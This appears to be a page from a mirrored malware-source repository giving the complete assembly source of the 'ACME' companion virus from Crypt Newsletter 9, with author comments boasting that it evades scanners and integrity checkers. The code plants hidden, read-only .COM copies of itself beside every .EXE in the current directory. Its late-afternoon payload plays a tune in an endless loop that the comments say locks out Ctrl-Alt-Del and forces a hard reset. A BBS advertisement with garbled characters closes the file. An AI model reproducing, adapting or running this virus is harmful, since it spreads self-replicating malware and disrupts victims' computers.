mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
301 lines
10 KiB
NASM
301 lines
10 KiB
NASM
; ACME COMPANION VIRUS for Crypt Newsletter 9
|
||
;
|
||
; ACME is a fast and simple companion virus which will create a
|
||
; spawned copy of itself for EVERY .EXE file it can find in the
|
||
; current directory.
|
||
;
|
||
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
|
||
; letter included an A86-only source listing. (Strict TASM/MASM compatible
|
||
; assemblers will need the manual addition of a couple simple declarative
|
||
; statements.) I included ACME in this form so fans of Isaacson's
|
||
; technique can gloat about the code not requiring "red tape." ;-]
|
||
; A86 will assemble ACME directly to a .COMfile virus, no linker
|
||
; necessary.
|
||
;
|
||
; ACME currently eludes all scanners and as a companion virus, openly
|
||
; defies every integrity checker I have in my inventory with the EXCEPTION
|
||
; of Stiller Research's. This issue includes a quality report on
|
||
; Solomon's Toolkit, so it's only fair to state that while the documentation
|
||
; for this product seems to indicate that the developers know what a
|
||
; companion infection is, the software does nothing to protect against
|
||
; it in default mode. ACME flies through the Toolkit, for now. Go figure.
|
||
;
|
||
; ACME will also play a generic ACME-style virus tune late in the
|
||
; afternoon. Those who fancy a musical virus but have never heard one are
|
||
; encouraged to play with ACME. Set your system clock to anytime after
|
||
; 4:00 pm. The musical payload takes up most of the space in this virus,
|
||
; removing it shaves the virus to 242 bytes - nice and small if you like.
|
||
;
|
||
; The virus purist may recognize the root of ACME as a piece of code known
|
||
; as ZENO - a small, single-step companion infector. ZENO's author is
|
||
; thanked, wherever he/she is.
|
||
|
||
|
||
START:
|
||
|
||
jmp VIR_BEGIN ; get going
|
||
|
||
|
||
WILDCARD DB "*.EXE",0
|
||
FILE_EXT DB "COM",0
|
||
FILE_FOUND DB 12 DUP(' '), 0
|
||
FILE_CREATE DB 12 DUP(' '), 0
|
||
SEARCH_ATTRIB DW 17H
|
||
NUM_INFECT DW 0
|
||
MUZIK DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||
DW 6087,0020,
|
||
|
||
DW 6087,0006,
|
||
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||
|
||
DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||
DW 6087,0020,
|
||
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||
DW 6087,0020,
|
||
|
||
DW 6087,0006,
|
||
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||
|
||
DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||
DW 6087,0020,
|
||
|
||
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||
DW 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||
DW 3043,0010,
|
||
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||
DW 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||
DW 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||
DW 6087,0020,
|
||
|
||
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||
DW 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||
DW 3043,0010,
|
||
|
||
DW 6087,0006,
|
||
DW 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||
DW 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||
|
||
DW 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||
DW 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||
DW 6087,0020,
|
||
|
||
DW 0ffffh
|
||
|
||
|
||
|
||
My_Cmd:
|
||
CMD_LEN DB 13
|
||
FILE_CLONE DB 12 DUP (' '), 0
|
||
|
||
;------------------------------------------------------------------;
|
||
Prepare_command:
|
||
cld
|
||
mov di,OFFSET FILE_CLONE
|
||
mov al,0
|
||
mov cx,12
|
||
repne scasb ; find the end of string \0
|
||
|
||
mov al,0Dh ; <CR>
|
||
stosb ; replace \0 with a <CR>
|
||
|
||
mov ax,12 ;store length of the command
|
||
sub ax,cx
|
||
mov CMD_LEN, al
|
||
ret
|
||
|
||
;------------------------------------------------------------------;
|
||
Store_name:
|
||
|
||
mov di,OFFSET FILE_FOUND ;Point to buffer.
|
||
mov si,158 ;stow the file found in buffer
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
mov di,OFFSET FILE_CREATE ;Point to buffer.
|
||
mov si,158
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
cld
|
||
mov di,OFFSET FILE_CREATE
|
||
mov al,'.'
|
||
mov cx,9
|
||
repne scasb ;find the '.'
|
||
|
||
mov si,OFFSET FILE_EXT
|
||
mov cx,3
|
||
rep movsb ;replace the .EXE with .COM
|
||
;from buffer
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------;
|
||
;Does the file exist?
|
||
|
||
Check_file:
|
||
mov dx,OFFSET FILE_CREATE
|
||
mov cx,0
|
||
mov ax,3d00h ; Open file, read only
|
||
int 21h
|
||
|
||
Chk_done:
|
||
ret
|
||
|
||
;------------------------------------------------------------------;
|
||
Infect_file: ;create companion routine
|
||
|
||
mov dx,OFFSET FILE_CREATE ;contains name of "companion"
|
||
mov cx,0
|
||
mov ah,3ch ;construct file
|
||
int 21h
|
||
jc EXIT
|
||
|
||
;Write virus to companion file
|
||
mov bx,ax
|
||
mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
|
||
mov dx,OFFSET START
|
||
mov ah,40h ;write to file function
|
||
int 21h ;do it
|
||
|
||
;Close file
|
||
mov ah,3eh ; ASSUMES bx still has file handle
|
||
int 21h
|
||
|
||
;Change attributes
|
||
mov dx,OFFSET FILE_CREATE ;of created file to
|
||
mov cx,3 ;(1) read only and (2) hidden
|
||
mov ax,4301h
|
||
int 21h
|
||
|
||
ret
|
||
|
||
;------------------------------------------------------------------
|
||
; Read all the directory filenames and store as records in buffer.
|
||
;------------------------------------------------------------------
|
||
|
||
Vir_begin:
|
||
mov ah,02Ch ;DOS get time function
|
||
int 021h
|
||
mov al,ch ;Copy hour into AL
|
||
cbw ;Sign-extend AL into AX
|
||
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||
jge TOON ;If greater than or equal, muzik!
|
||
|
||
|
||
mov sp,offset STACK_HERE ;move stack down
|
||
mov bx,sp
|
||
add bx,15
|
||
mov cl,4
|
||
shr bx,cl
|
||
mov ah,4ah ;deallocate rest of memory
|
||
int 21h
|
||
|
||
mov di,OFFSET FILE_CLONE ;Point to buffer.
|
||
mov si,OFFSET FILE_FOUND
|
||
mov cx,12
|
||
rep movsb
|
||
|
||
Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search
|
||
mov cx,SEARCH_ATTRIB
|
||
|
||
mov ah,4Eh ;find the first matching file
|
||
int 21h
|
||
|
||
jc EXIT ;If empty directory, exit
|
||
|
||
Do_file:
|
||
call STORE_NAME
|
||
call CHECK_FILE
|
||
call INFECT_FILE
|
||
|
||
|
||
|
||
Find_next:
|
||
mov ah,4fh ; find next file and keep finding until
|
||
int 21h ; all
|
||
jnz Do_File ; infected
|
||
|
||
Exit:
|
||
|
||
; Run the original program
|
||
call Prepare_command
|
||
mov si, OFFSET MY_CMD
|
||
int 2Eh ; Pass command to command
|
||
; interpreter for execution
|
||
|
||
mov ax,4C00H ; Exit to DOS
|
||
int 21h
|
||
|
||
;-------------------------------------------------------------------
|
||
;This routine enables ACME virus to compel the pc to play the
|
||
;ACME virus song just about the time the clock-watchers are getting
|
||
;ready to leave
|
||
;-------------------------------------------------------------------
|
||
TOON:
|
||
cli ;interrupts off
|
||
mov al,10110110xb ;the number
|
||
out 43h,al ;to send to the speaker
|
||
lea si,MUZIK ;point (si) to the ACME note table
|
||
|
||
TOON2: cld
|
||
lodsw ;load word into ax and increment (si)
|
||
cmp ax,0ffffh ;is it ffff? If so, end of table
|
||
jz GO_MUZIK2 ;so, time to jump into endless loop
|
||
out 42h,al
|
||
mov al,ah
|
||
out 42h,al ;send it next
|
||
in al,61h ;get value to turn on speaker
|
||
or al,00000011xb ;OR the gotten value
|
||
out 61h,al ;now we turn on speaker
|
||
lodsw ;load the repeat loop count into (ax)
|
||
LOOP6:
|
||
mov cx,8000 ;delay count
|
||
LOOP7:
|
||
loop LOOP7 ;do the delay
|
||
dec ax ;decrement repeat count
|
||
jnz LOOP6 ;if not = 0 loop back
|
||
in al,61h ;all done
|
||
and al,11111100xb ;number turns speaker off
|
||
out 61h,al ;send it
|
||
jmp short TOON2 ;now go do next note
|
||
GO_MUZIK2: ;our loop point
|
||
|
||
sti ;enable interrupts
|
||
jmp TOON ;jump back to beginning - this code
|
||
; has the additional advantage of
|
||
;locking out CTRL-ALT-DEL reboot.
|
||
;The user must do a hard reset to recover from ACME.
|
||
|
||
|
||
|
||
END_OF_CODE = $
|
||
|
||
STACK_HERE EQU END_OF_CODE + 512
|
||
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|